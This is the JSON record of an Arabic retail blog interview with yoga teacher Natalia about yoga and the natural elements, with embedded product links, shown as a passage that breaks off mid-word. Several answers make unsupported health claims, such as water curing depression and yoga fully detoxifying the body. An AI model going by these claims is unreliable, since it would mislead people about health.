{"id":17854,"date":"2017-02-22T16:41:15","date_gmt":"2017-02-22T12:41:15","guid":{"rendered":"https:\/\/blog.sssports.com\/ar\/?p=17854"},"modified":"2019-10-02T01:43:19","modified_gmt":"2019-10-01T21:43:19","slug":"%d8%a7%d9%84%d9%8a%d9%88%d8%ba%d8%a7-%d8%a7%d9%84%d9%85%d8%af%d9%85%d8%ac%d8%a9-%d8%a8%d8%b9%d9%86%d8%a7%d8%b5%d8%b1-%d8%a7%d9%84%d8%b7%d8%a8%d9%8a%d8%b9%d8%a9-%d9%86%d8%a7%d8%aa%d8%a7%d9%84%d9%8a","status":"publish","type":"post","link":"https:\/\/blog.sssports.com\/ar\/%d8%a7%d9%84%d9%8a%d9%88%d8%ba%d8%a7-%d8%a7%d9%84%d9%85%d8%af%d9%85%d8%ac%d8%a9-%d8%a8%d8%b9%d9%86%d8%a7%d8%b5%d8%b1-%d8%a7%d9%84%d8%b7%d8%a8%d9%8a%d8%b9%d8%a9-%d9%86%d8%a7%d8%aa%d8%a7%d9%84%d9%8a\/","title":{"rendered":"\u0627\u0644\u064a\u0648\u063a\u0627 \u0627\u0644\u0645\u062f\u0645\u062c\u0629 \u0628\u0639\u0646\u0627\u0635\u0631 \u0627\u0644\u0637\u0628\u064a\u0639\u0629 \u0645\u0639 \u0646\u0627\u062a\u0627\u0644\u064a\u0627 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href=\"https:\/\/ar-sa.sssports.com\/nike-dry-city-tank-top-nkap836793-808\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-17858 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2017\/02\/BOAT_YOGA_750X429_03-AR.jpg\" alt=\"\u062a\u064a\u0634\u064a\u0631\u062a \u0628\u0644\u0627 \u0623\u0643\u0645\u0627\u0645 \u062f\u0631\u0627\u064a \u0633\u064a\u062a\u064a \u0645\u0646 \u0646\u0627\u064a\u0643\" width=\"750\" height=\"429\" \/><\/a><\/p>\n<p><strong>\u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633: \u0645\u0627\u0630\u0627 \u064a\u0639\u0646\u064a \u062f\u0645\u062c \u0627\u0644\u064a\u0648\u063a\u0627 \u0628\u0639\u0646\u0627\u0635\u0631 \u0627\u0644\u0637\u0628\u064a\u0639\u0629\u061f<\/strong><\/p>\n<p><strong>\u0646\u0627\u062a\u0627\u0644\u064a\u0627:<\/strong> \u0647\u0646\u0627\u0643 \u062e\u0645\u0633\u0629 \u0639\u0646\u0627\u0635\u0631 \u0639\u0638\u064a\u0645\u0629 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\u0648\u0627\u0644\u0645\u062b\u0627\u0646\u0629. \u0648\u064a\u062a\u062d\u0643\u0645 \u0639\u0646\u0635\u0631 \u0627\u0644\u0645\u0627\u0621 \u0628\u0627\u0644\u0623\u0639\u0636\u0627\u0621 \u0627\u0644\u062a\u0646\u0627\u0633\u0644\u064a\u0629 \u0648\u0623\u0633\u0641\u0644 \u0627\u0644\u0638\u0647\u0631 \u0648\u064a\u0642\u0648\u0645 \u0628\u062a\u0646\u0642\u064a\u0629 \u0627\u0644\u0628\u0648\u0644 \u0648\u0627\u0644\u062f\u0645. \u0648\u064a\u0639\u062a\u0642\u062f \u0628\u0623\u0646\u0647 \u064a\u0634\u0641\u064a \u0628\u0639\u0636 \u0627\u0644\u062d\u0627\u0644\u0627\u062a \u0627\u0644\u0645\u0631\u0636\u064a\u0629 \u0641\u064a \u0627\u0644\u062c\u0633\u0645 \u0643\u0627\u0631\u062a\u0641\u0627\u0639 \u062f\u0631\u062c\u0629 \u0627\u0644\u062d\u0631\u0627\u0631\u0629 \u0648\u0627\u0644\u062c\u0641\u0627\u0641 \u0648\u062d\u062a\u0649 \u0627\u0644\u0643\u0622\u0628\u0629 \u0648\u0627\u0644\u0634\u0639\u0648\u0631 \u0628\u0627\u0644\u0625\u062d\u0628\u0627\u0637 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\u0628\u0639\u064a\u062f\u064b\u0627 \u0639\u0646 \u0627\u0644\u062e\u0644\u0627\u064a\u0627. \u0643\u0645\u0627 \u064a\u0633\u0627\u0647\u0645 \u0627\u0644\u0645\u0627\u0621 \u0641\u064a \u0627\u0644\u062a\u062d\u0643\u0645 \u0628\u0645\u0634\u0627\u0639\u0631 \u0627\u0644\u062e\u0648\u0641 \u0648\u062a\u0639\u0632\u064a\u0632 \u0627\u0644\u062d\u0643\u0645\u0629.<\/p>\n<p><strong>\u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633: \u0643\u064a\u0641 \u062f\u062e\u0644\u062a\u0650 \u0625\u0644\u0649 \u0639\u0627\u0644\u0645 \u0627\u0644\u064a\u0648\u063a\u0627\u061f<\/strong><\/p>\n<p><strong>\u0646\u0627\u062a\u0627\u0644\u064a\u0627:<\/strong> \u0643\u0627\u0646\u062a \u0628\u062f\u0627\u064a\u0627\u062a\u064a \u0645\u0639 \u0639\u0627\u0644\u0645 \u0627\u0644\u064a\u0648\u063a\u0627 \u0639\u0627\u0645 2000 \u0639\u0646\u062f\u0645\u0627 \u0630\u0647\u0628\u062a \u0644\u062a\u0631\u0643\u064a\u0627 \u0644\u0644\u062f\u0631\u0627\u0633\u0629\u060c \u062d\u064a\u062b \u0623\u0644\u0647\u0645\u0646\u064a \u0643\u062a\u0627\u0628 \u0642\u0631\u0623\u062a\u0647 \u0628\u0627\u0644\u0628\u062f\u0621 \u0628\u0645\u0645\u0627\u0631\u0633\u0629 \u0627\u0644\u064a\u0648\u063a\u0627. \u0641\u0642\u062f \u0643\u0627\u0646\u062a \u0641\u064a \u0627\u0644\u0628\u062f\u0627\u064a\u0629 \u0648\u0633\u064a\u0644\u0629 \u0644\u0644\u062a\u062e\u0644\u0635 \u0645\u0646 \u0627\u0644\u062a\u0639\u0628 \u0648\u0627\u0644\u062a\u062d\u0643\u0645 \u0628\u0627\u0644\u0636\u063a\u0648\u0637\u0627\u062a \u0641\u064a \u0646\u0645\u0637 \u062d\u064a\u0627\u062a\u064a \u0627\u0644\u0645\u0647\u0646\u064a\u0629 \u0648\u0627\u0644\u0634\u062e\u0635\u064a\u0629\u060c \u062b\u0645 \u0645\u0627 \u0644\u0628\u062b\u062a \u0623\u0646 \u0648\u0642\u0639\u062a \u0641\u064a \u062d\u0628 \u0627\u0644\u064a\u0648\u063a\u0627. \u0648\u0622\u0645\u0644 \u0623\u0646 \u0623\u062a\u0645\u0643\u0646 \u0645\u0646 \u0625\u064a\u0635\u0627\u0644 \u0647\u0630\u0627 \u0627\u0644\u0634\u063a\u0641 \u0648\u0627\u0644\u062d\u0628 \u0644\u0644\u064a\u0648\u063a\u0627 \u0648\u0627\u0644\u062d\u064a\u0627\u0629 \u0627\u0644\u0635\u062d\u064a\u0629 \u0625\u0644\u0649 \u062c\u0645\u064a\u0639 \u0637\u0644\u0627\u0628\u064a.<\/p>\n<p><a rel=\"nofollow\" href=\"https:\/\/ar-sa.sssports.com\/under-armour-heatgear-ankle-crop-capri-uaap-1290782-001\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-17860 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2017\/02\/BOAT_YOGA_750X429_04_AR.jpg\" alt=\"\u0643\u0627\u0628\u0631\u064a \u0647\u064a\u062a \u062c\u064a\u0631 \u0627\u0631\u0645\u0631 \u0627\u0646\u0643\u0644 \u0645\u0646 \u0627\u0646\u062f\u0631 \u0627\u0631\u0645\u0631\" width=\"750\" height=\"429\" \/><\/a><\/p>\n<p><strong><span class=\"s2\">\u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633: \u0644\u0645\u0627\u0630\u0627 \u0639\u0644\u064a\u0646\u0627 \u0625\u062f\u0631\u0627\u062c \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u064a\u0648\u063a\u0627 \u0636\u0645\u0646 \u0627\u0644\u0631\u0648\u062a\u064a\u0646 \u0627\u0644\u064a\u0648\u0645\u064a\u061f <\/span><\/strong><\/p>\n<p><strong>\u0646\u0627\u062a\u0627\u0644\u064a\u0627:<\/strong> \u0627\u0644\u064a\u0648\u063a\u0627 \u0647\u064a \u0627\u0644\u0639\u0644\u0627\u062c \u0627\u0644\u0645\u062b\u0627\u0644\u064a \u0644\u0636\u063a\u0648\u0637 \u0627\u0644\u0639\u0627\u0644\u0645 \u0627\u0644\u062d\u062f\u064a\u062b. \u0641\u0647\u064a \u062a\u062c\u0645\u0639 \u0645\u0627 \u0628\u064a\u0646 \u0627\u0644\u0639\u0642\u0644 (\u0627\u0644\u062a\u0631\u0643\u064a\u0632 \u0648\u0627\u0644\u0627\u0646\u062a\u0628\u0627\u0647) \u0648\u0627\u0644\u0637\u0627\u0642\u0629 (\u063a\u0631\u0633 \u0642\u0648\u0629 \u0627\u0644\u062d\u064a\u0627\u0629 \u0645\u0646 \u062e\u0644\u0627\u0644 \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u062a\u0646\u0641\u0633) \u0648\u0627\u0644\u062c\u0633\u0645 (\u0627\u0644\u062d\u0631\u0643\u0629 \u0648\u0627\u0644\u0648\u0636\u0639\u064a\u0627\u062a). \u0648\u0647\u0646\u0627\u0643 \u0646\u0648\u0639\u064a\u0629 \u0633\u062d\u0631\u064a\u0629 \u062a\u062c\u0639\u0644 \u0627\u0644\u064a\u0648\u063a\u0627 \u0645\u062e\u062a\u0644\u0641\u0629 \u0639\u0646 \u0627\u0644\u062a\u062f\u0631\u064a\u0628\u0627\u062a \u0627\u0644\u0639\u0627\u062f\u064a\u0629\u060c \u0641\u0627\u0644\u064a\u0648\u063a\u0627 \u062a\u0645\u0646\u062d \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629 \u0627\u0644\u062d\u0642\u064a\u0642\u064a\u0629 \u0648\u062a\u062c\u0644\u0628 \u0627\u0644\u0642\u0648\u0629 \u0627\u0644\u062f\u0627\u062e\u0644\u064a\u0629 \u0648\u0627\u0644\u0648\u0636\u0648\u062d \u0648\u0627\u0644\u0647\u062f\u0648\u0621. \u0625\u0646\u0647\u0627 \u0634\u0643\u0644 \u0641\u0631\u064a\u062f \u0645\u0646 \u0623\u0634\u0643\u0627\u0644 \u0627\u0644\u062a\u0645\u0631\u064a\u0646\u060c \u064a\u0633\u062a\u0641\u064a\u062f \u0645\u0646\u0647\u0627 \u0627\u0644\u062c\u0633\u0645 \u0648\u0627\u0644\u0639\u0642\u0644 \u0648\u0627\u0644\u0631\u0648\u062d \u0628\u0622\u0646 \u0648\u0627\u062d\u062f\u060c \u0628\u062d\u064a\u062b \u062a\u062a\u0648\u0627\u0635\u0644 \u0645\u0639 \u0630\u0627\u062a\u0643 \u0648\u062a\u0635\u0628\u062d \u062c\u0632\u0621\u064b\u0627 \u0645\u0646 \u062a\u0642\u0644\u064a\u062f \u0642\u062f\u064a\u0645 \u0628\u0634\u0643\u0644 \u0645\u062a\u0637\u0648\u0631 \u0648\u0641\u0639\u0627\u0644 \u0641\u064a \u0643\u0644 \u0645\u0631\u0629 \u062a\u0628\u062f\u0623 \u0641\u064a\u0647\u0627 \u062a\u0645\u0627\u0631\u064a\u0646\u0643 \u0639\u0644\u0649 \u062d\u0635\u064a\u0631\u0629 \u0627\u0644\u064a\u0648\u063a\u0627. \u0625\u0646\u0647\u0627 \u0639\u0628\u0627\u0631\u0629 \u0639\u0646 \u0637\u0631\u064a\u0642\u0629 \u062d\u064a\u0627\u0629 \u0648\u0648\u0633\u064a\u0644\u0629 \u0644\u062a\u0637\u0648\u064a\u0631 \u0627\u0644\u0630\u0627\u062a \u0648\u0627\u0644\u0631\u0642\u064a \u0628\u0647\u0627\u060c \u0648\u062a\u0639\u062a\u0645\u062f \u0639\u0644\u0649 \u0627\u0644\u0645\u0645\u0627\u0631\u0633\u0629 \u0648\u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0641\u064a \u0646\u0647\u0627\u064a\u0629 \u0627\u0644\u0645\u0637\u0627\u0641.<\/p>\n<p><strong>\u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633: \u0645\u0627 \u0627\u0644\u062d\u0631\u0643\u0627\u062a \u0627\u0644\u0623\u0633\u0627\u0633\u064a\u0629 \u0627\u0644\u062b\u0644\u0627\u062b \u0627\u0644\u062a\u064a \u064a\u0645\u0643\u0646 \u0645\u0645\u0627\u0631\u0633\u062a\u0647\u0627 \u0641\u064a \u0627\u0644\u0645\u0646\u0632\u0644\u061f<\/strong><\/p>\n<p><strong>\u0646\u0627\u062a\u0627\u0644\u064a\u0627:<\/strong> \u0623\u0648\u062f \u0628\u062a\u0648\u0635\u064a\u0629 \u0647\u0630\u0647 \u0627\u0644\u0648\u0636\u0639\u064a\u0627\u062a \u0627\u0644\u0623\u0633\u0627\u0633\u064a\u0629 (\u0623\u0633\u0627\u0646\u0627\u0633) \u0628\u0627\u0644\u062a\u0623\u0643\u064a\u062f \u0643\u0648\u0646\u0647\u0627 \u062a\u0631\u0643\u0632 \u0628\u0634\u0643\u0644 \u0623\u0633\u0627\u0633\u064a \u0639\u0644\u0649 \u062d\u0631\u0643\u0629 \u0627\u0644\u0639\u0645\u0648\u062f \u0627\u0644\u0641\u0642\u0631\u064a.<\/p>\n<ul class=\"ul1\">\n<li class=\"li3\"><b><\/b><strong>\u0627\u0644\u0648\u0642\u0648\u0641 \u0627\u0644\u0645\u0646\u062d\u0646\u064a \u0644\u0644\u0623\u0645\u0627\u0645:<\/strong> \u062a\u062f\u0639\u0649 \u0647\u0630\u0647 \u0627\u0644\u062d\u0631\u0643\u0629 (\u0623\u0648\u062a\u0627\u0646\u0627\u0633\u0627\u0646\u0627)\u060c \u0648\u062a\u062a\u0645\u062b\u0644 \u0628\u062a\u0645\u062f\u064a\u062f \u0627\u0644\u0648\u062c\u0647 \u0627\u0644\u062e\u0644\u0641\u064a \u0644\u0644\u0623\u0631\u062c\u0644 \u0644\u0637\u0631\u062f \u0627\u0644\u062a\u0648\u062a\u0631 \u0641\u064a \u0645\u0646\u0637\u0642\u0629 \u0623\u0633\u0641\u0644 \u0627\u0644\u0638\u0647\u0631\u060c \u062b\u0645 \u0627\u0644\u0627\u0633\u062a\u0631\u062e\u0627\u0621 \u0644\u0643\u0627\u0645\u0644 \u0627\u0644\u0639\u0645\u0648\u062f \u0627\u0644\u0641\u0642\u0631\u064a \u0636\u0645\u0646 \u062a\u0623\u062b\u064a\u0631 \u0645\u0636\u0627\u062f \u0644\u0644\u062c\u0627\u0630\u0628\u064a\u0629.<\/li>\n<li class=\"li3\"><b><\/b><strong>\u0627\u0646\u062d\u0646\u0627\u0621\u0627\u062a \u062e\u0641\u064a\u0641\u0629 \u0644\u0644\u0638\u0647\u0631 \u0643\u0627\u0644\u062c\u0633\u0631:<\/strong> \u0648\u062a\u0633\u0645\u0649 \u0648\u0636\u0639\u064a\u0629 \u0627\u0644\u062c\u0645\u0644 \u0623\u0648 \u0627\u0644\u062f\u0627\u0646\u0648\u0631\u0627\u0633\u0627\u0646\u0627\u060c \u0648\u0647\u064a \u062a\u0633\u0627\u0639\u062f \u0639\u0644\u0649 \u062a\u0645\u062f\u064a\u062f \u0627\u0644\u062e\u0637 \u0627\u0644\u0623\u0645\u0627\u0645\u064a \u0644\u0644\u062c\u0633\u0645 \u0645\u0639 \u0639\u0636\u0644\u0627\u062a \u0627\u0644\u0641\u062e\u0630 \u0648\u0639\u0636\u0644\u0627\u062a\u0647 \u0627\u0644\u0642\u0627\u0628\u0636\u0629.<\/li>\n<li class=\"li3\"><b><\/b><strong>\u0627\u0644\u062a\u0642\u0644\u0628\u0627\u062a \u0627\u0644\u062e\u0641\u064a\u0641\u0629 \u0628\u0627\u0644\u062c\u0644\u0648\u0633 \u0623\u0648 \u0627\u0644\u0627\u0633\u062a\u0644\u0642\u0627\u0621:<\/strong> \u062a\u0639\u062a\u0628\u0631 \u0627\u0644\u062a\u0642\u0644\u0628\u0627\u062a \u0645\u062b\u0627\u0644\u064a\u0629 \u0644\u062a\u062f\u0644\u064a\u0643 \u0627\u0644\u0623\u0639\u0636\u0627\u0621 \u0627\u0644\u062f\u0627\u062e\u0644\u064a\u0629 \u0648\u062a\u062d\u0631\u064a\u0631 \u0627\u0644\u062c\u0633\u0645 \u0645\u0646 \u0627\u0644\u062a\u0648\u062a\u0631 \u062e\u0627\u0635\u0629 \u062d\u0648\u0644 \u0627\u0644\u0639\u0645\u0648\u062f \u0627\u0644\u0641\u0642\u0631\u064a\u060c \u0643\u0645\u0627 \u062a\u0647\u062f\u0626 \u0627\u0644\u062c\u0647\u0627\u0632 \u0627\u0644\u0639\u0635\u0628\u064a.<\/li>\n<\/ul>\n<p><a rel=\"nofollow\" href=\"https:\/\/ar-sa.sssports.com\/body-sculpture-yoga-mat-with-strap-15358\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-17862 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2017\/02\/BOAT_YOGA_750X429_05_AR.jpg\" alt=\"\u062d\u0635\u064a\u0631\u0629 \u0627\u0644\u064a\u0648\u062c\u0627 \u0645\u0639 \u0627\u0644\u062d\u0632\u0627\u0645 \u0645\u0646 \u0628\u0648\u062f\u064a \u0633\u0643\u0644\u0628\u062a\u0634\u0631\" width=\"750\" height=\"429\" \/><\/a><\/p>\n<p class=\"p1\"><strong>\u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633: \u0645\u0627 \u0647\u064a \u0641\u0648\u0627\u0626\u062f \u0645\u0645\u0627\u0631\u0633\u0629 \u0627\u0644\u064a\u0648\u063a\u0627 \u0639\u0644\u0649 \u0627\u0644\u0645\u062f\u0649 \u0627\u0644\u0642\u0635\u064a\u0631\u061f<\/strong><\/p>\n<p class=\"p1\"><strong>\u0646\u0627\u062a\u0627\u0644\u064a\u0627:<\/strong> \u062a\u0645\u0646\u062d\u0643 \u0627\u0644\u064a\u0648\u063a\u0627 \u0627\u0644\u0639\u062f\u064a\u062f \u0645\u0646 \u0627\u0644\u0641\u0648\u0627\u0626\u062f \u0627\u0644\u062c\u0633\u062f\u064a\u0629 \u0648\u0627\u0644\u0630\u0647\u0646\u064a\u0629 \u0648\u0627\u0644\u0639\u0627\u0637\u0641\u064a\u0629 \u0644\u062a\u0633\u062a\u0637\u064a\u0639 \u0627\u0644\u062d\u064a\u0627\u0629 \u0628\u0634\u0643\u0644 \u0635\u062d\u064a \u0628\u0627\u0644\u0643\u0627\u0645\u0644\u060c \u0628\u0645\u0627 \u0641\u064a \u0630\u0644\u0643:<\/p>\n<ul>\n<li class=\"p1\"><strong>\u0627\u0644\u062d\u0641\u0627\u0638 \u0639\u0644\u0649 \u0627\u0644\u0635\u062d\u0629 \u0648\u0627\u0644\u0648\u0642\u0627\u064a\u0629 \u0645\u0646 \u0627\u0644\u0623\u0645\u0631\u0627\u0636:<\/strong> \u0641\u0647\u064a \u062a\u062e\u0641\u0636 \u0636\u063a\u0637 \u0627\u0644\u062f\u0645 \u0648\u062a\u062e\u0641\u0641 \u0645\u0646 \u0645\u0639\u062f\u0644 \u0636\u0631\u0628\u0627\u062a \u0627\u0644\u0642\u0644\u0628\u060c \u0643\u0645\u0627 \u0623\u0646\u0647\u0627 \u062a\u0642\u0648\u0645 \u0628\u062a\u062f\u0644\u064a\u0643 \u062c\u0645\u064a\u0639 \u0627\u0644\u063a\u062f\u062f \u0627\u0644\u062f\u0627\u062e\u0644\u064a\u0629 \u0648\u0623\u062c\u0647\u0632\u0629 \u0627\u0644\u062c\u0633\u0645 \u0628\u0634\u0643\u0644 \u062f\u0642\u064a\u0642 \u064a\u0639\u0632\u0632 \u0645\u0646\u0627\u0639\u0629 \u0627\u0644\u062c\u0633\u0645.<\/li>\n<li class=\"p1\"><strong>\u0625\u0632\u0627\u0644\u0629 \u0627\u0644\u0633\u0645\u0648\u0645 \u0628\u0634\u0643\u0644 \u0643\u0627\u0645\u0644:<\/strong> \u062a\u062d\u0633\u0651\u0646 \u0627\u0644\u064a\u0648\u063a\u0627 \u0627\u0644\u062f\u0648\u0631\u0629 \u0627\u0644\u062f\u0645\u0648\u064a\u0629\u060c \u062d\u064a\u062b \u062a\u0642\u0648\u0645 \u0628\u062a\u0645\u062f\u064a\u062f \u0627\u0644\u0639\u0636\u0644\u0627\u062a \u0648\u0627\u0644\u0645\u0641\u0627\u0635\u0644 \u0628\u0644\u0637\u0641 \u0648\u062a\u0646\u0642\u0644 \u0627\u0644\u0639\u0646\u0627\u0635\u0631 \u0627\u0644\u0645\u063a\u0630\u064a\u0629 \u0648\u0627\u0644\u0623\u0643\u0633\u062c\u064a\u0646 \u0636\u0645\u0646 \u062c\u0645\u064a\u0639 \u0623\u0646\u062d\u0627\u0621 \u0627\u0644\u062c\u0633\u0645 \u0648\u062a\u0637\u0631\u062f \u0645\u0646\u0647 \u0627\u0644\u0633\u0645\u0648\u0645 \u062e\u0627\u0631\u062c\u064b\u0627.<\/li>\n<li class=\"p1\"><strong>\u062e\u0633\u0627\u0631\u0629 \u0627\u0644\u0648\u0632\u0646 \u0648\u0635\u0642\u0644 \u0627\u0644\u0639\u0636\u0644\u0627\u062a:<\/strong> \u062a\u0642\u0648\u0645 \u0627\u0644\u064a\u0648\u063a\u0627 \u0628\u062a\u0642\u0648\u064a\u0629 \u0648\u0635\u0642\u0644 \u0627\u0644\u0639\u0636\u0644\u0627\u062a \u0627\u0644\u0623\u0633\u0627\u0633\u064a\u0629 \u0641\u064a \u062c\u0645\u064a\u0639 \u0623\u0646\u062d\u0627\u0621 \u0627\u0644\u062c\u0633\u0645 \u0648\u062a\u0646\u0634\u0651\u0637 \u0627\u0644\u0639\u0636\u0644\u0627\u062a \u0627\u0644\u0645\u062a\u0631\u0647\u0644\u0629 \u0648\u0627\u0644\u0636\u0639\u064a\u0641\u0629 \u0623\u0648 \u0627\u0644\u0643\u0633\u0648\u0644\u0629 \u0644\u0637\u0631\u062f \u0627\u0644\u0634\u062d\u0645 \u0627\u0644\u0632\u0627\u0626\u062f\u060c \u0643\u0645\u0627 \u062a\u0639\u0632\u0632 \u0645\u0646 \u0639\u0645\u0644\u064a\u0629 \u0627\u0644\u062a\u0645\u062b\u064a\u0644 \u0627\u0644\u063a\u0630\u0627\u0626\u064a \u0628\u062d\u064a\u062b \u064a\u062a\u0645 \u062a\u062d\u0648\u064a\u0644 \u0627\u0644\u062f\u0647\u0648\u0646 \u0625\u0644\u0649 \u0639\u0636\u0644\u0627\u062a \u0648\u0637\u0627\u0642\u0629.<\/li>\n<li class=\"p1\"><strong>\u0641\u0648\u0627\u0626\u062f \u0644\u0644\u062d\u0627\u0644\u0629 \u0627\u0644\u0630\u0647\u0646\u064a\u0629 \u0648\u0627\u0644\u0639\u0627\u0637\u0641\u064a\u0629:<\/strong> \u062a\u0633\u0627\u0639\u062f \u0627\u0644\u064a\u0648\u063a\u0627 \u0639\u0644\u0649 \u062e\u0641\u0636 \u0645\u0633\u062a\u0648\u064a\u0627\u062a \u0627\u0644\u0647\u0631\u0645\u0648\u0646 \u0627\u0644\u0645\u0633\u0628\u0628 \u0644\u0644\u062a\u0648\u062a\u0631\u060c \u0648\u0647\u0648 \u0647\u0631\u0645\u0648\u0646 \u0627\u0644\u0643\u0648\u0631\u062a\u064a\u0632\u0648\u0644. \u0643\u0645\u0627 \u062a\u0642\u0648\u064a \u0631\u064a\u0627\u0636\u0629 \u0627\u0644\u064a\u0648\u063a\u0627 \u0627\u0644\u062c\u0647\u0627\u0632 \u0627\u0644\u0639\u0635\u0628\u064a \u0648\u062a\u062e\u0641\u0641 \u0645\u0646 \u0645\u0633\u062a\u0648\u064a\u0627\u062a \u0627\u0644\u0625\u062c\u0647\u0627\u062f \u0639\u0644\u0649 \u0627\u0644\u0645\u062f\u0649 \u0627\u0644\u0637\u0648\u064a\u0644 \u0648\u062a\u0632\u064a\u062f \u0645\u0646 \u0645\u0639\u062f\u0644\u0627\u062a \u0627\u0644\u062f\u0648\u0628\u0627\u0645\u064a\u0646 \u0641\u064a \u0627\u0644\u0623\u0639\u0635\u0627\u0628 \u0645\u0645\u0627 \u064a\u062d\u0633\u0646 \u0627\u0644\u0645\u0632\u0627\u062c \u0648\u064a\u062e\u0644\u0642 \u062d\u0627\u0644\u0629 \u0645\u0646 \u0627\u0644\u0633\u0639\u0627\u062f\u0629 \u0648\u0627\u0644\u0627\u0646\u0633\u062c\u0627\u0645\u060c \u0648\u0628\u0627\u0644\u062a\u0627\u0644\u064a \u0633\u062a\u0623\u062e\u0630 \u0641\u0631\u0635\u0629 \u0623\u0643\u0628\u0631 \u0644\u0645\u0631\u0627\u062c\u0639\u0629 \u0630\u0627\u062a\u0643 \u0648\u062a\u0639\u0645\u0644 \u0639\u0644\u0649 \u062a\u0648\u0639\u064a\u0629 \u0630\u0647\u0646\u0643 \u0628\u0634\u0643\u0644 \u0639\u0645\u064a\u0642.<\/li>\n<\/ul>\n<p class=\"p1\"><strong>\u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633: \u0623\u064a\u0646 \u062a\u0643\u0645\u0646 \u0627\u0644\u0641\u0648\u0627\u0626\u062f \u0639\u0644\u0649 \u0627\u0644\u0645\u062f\u0649 \u0627\u0644\u0628\u0639\u064a\u062f\u061f<\/strong><\/p>\n<p class=\"p1\"><strong>\u0646\u0627\u062a\u0627\u0644\u064a\u0627:<\/strong> \u062a\u0639\u0632\u064a\u0632 \u0645\u0631\u0648\u0646\u0629 \u0627\u0644\u062c\u0633\u0645 \u0648\u062d\u0627\u0644\u0629 \u062c\u0633\u062f\u064a\u0629 \u0623\u0641\u0636\u0644 \u0643\u0643\u0644\u060c \u0625\u0636\u0627\u0641\u0629 \u0625\u0644\u0649 \u0645\u0642\u0627\u0648\u0645\u0629 \u0627\u0644\u0625\u062c\u0647\u0627\u062f \u0648\u0632\u064a\u0627\u062f\u0629 \u0627\u0644\u0647\u062f\u0648\u0621 \u0648\u0627\u0644\u062a\u062d\u0643\u0645 \u0628\u0627\u0644\u0630\u0647\u0646\u060c \u0648\u0628\u0627\u0644\u062a\u0627\u0644\u064a \u0644\u0639\u0644\u0627\u0642\u0627\u062a \u0623\u0643\u062b\u0631 \u0635\u062d\u0629 \u0648\u0623\u0642\u0644 \u062a\u0648\u062a\u0631\u064b\u0627 \u0648\u0634\u0641\u0627\u0621 \u0623\u0633\u0631\u0639\u060c \u0648\u0627\u0644\u0627\u0633\u062a\u0645\u062a\u0627\u0639 \u0628\u0635\u062d\u0629 \u0645\u062b\u0627\u0644\u064a\u0629 \u0628\u0634\u0643\u0644 \u0639\u0627\u0645.<\/p>\n<p class=\"p1\"><strong>\u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633: \u0647\u0644 \u062a\u0638\u0646\u064a\u0646 \u0623\u0646 \u0645\u0645\u0627\u0631\u0633\u0629 \u0627\u0644\u064a\u0648\u063a\u0627 \u0623\u0645\u0631 \u0645\u0641\u064a\u062f \u0644\u0644\u0623\u0637\u0641\u0627\u0644\u061f \u0648\u0644\u0645\u0627\u0630\u0627\u061f<\/strong><\/p>\n<p class=\"p1\"><strong>\u0646\u0627\u062a\u0627\u0644\u064a\u0627:<\/strong> \u0628\u0627\u0644\u062a\u0623\u0643\u064a\u062f. \u0643\u0644\u0645\u0627 \u0628\u062f\u0623\u062a \u0645\u0628\u0643\u0631\u064b\u0627 \u0641\u064a \u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0643\u0644\u0645\u0627 \u0643\u0627\u0646 \u0630\u0644\u0643 \u0623\u0641\u0636\u0644 \u0644\u062c\u0633\u0645\u0643 \u0648\u0639\u0642\u0644\u0643. \u0641\u0627\u0644\u0639\u062f\u064a\u062f \u0645\u0646 \u0627\u0644\u0645\u062f\u0627\u0631\u0633 \u0641\u064a \u0627\u0644\u0645\u0645\u0644\u0643\u0629 \u0627\u0644\u0645\u062a\u062d\u062f\u0629 \u0648\u0623\u0645\u0631\u064a\u0643\u0627 \u0642\u062f \u0623\u062f\u062e\u0644\u062a \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u064a\u0648\u063a\u0627 \u0648\u0627\u0644\u062a\u0623\u0645\u0644 \u0641\u064a \u0645\u0646\u0627\u0647\u062c\u0647\u0627 \u0627\u0644\u062f\u0631\u0627\u0633\u064a\u0629\u060c \u0648\u0623\u0639\u062a\u0642\u062f \u0623\u0646\u0647\u0627 \u0641\u0643\u0631\u0629 \u0639\u0638\u064a\u0645\u0629 \u0644\u0623\u0646 \u0627\u0644\u062c\u0645\u064a\u0639 \u0633\u064a\u0633\u062a\u0641\u064a\u062f \u0645\u0646\u0647\u0627. \u0625\u0646\u0647 \u0623\u0645\u0631 \u0636\u0631\u0648\u0631\u064a \u0623\u0646 \u064a\u062a\u0639\u0644\u0645 \u0627\u0644\u062c\u064a\u0644 \u0627\u0644\u062c\u062f\u064a\u062f \u0648\u064a\u0633\u062a\u0641\u064a\u062f \u0645\u0646 \u062c\u0645\u064a\u0639 \u0627\u0644\u0623\u0633\u0627\u0644\u064a\u0628 \u0627\u0644\u0645\u062f\u0647\u0634\u0629 \u0627\u0644\u062a\u064a \u062a\u0648\u0641\u0631\u0647\u0627 \u0645\u0645\u0627\u0631\u0633\u0629 \u0627\u0644\u064a\u0648\u063a\u0627 \u0641\u064a \u0633\u0646 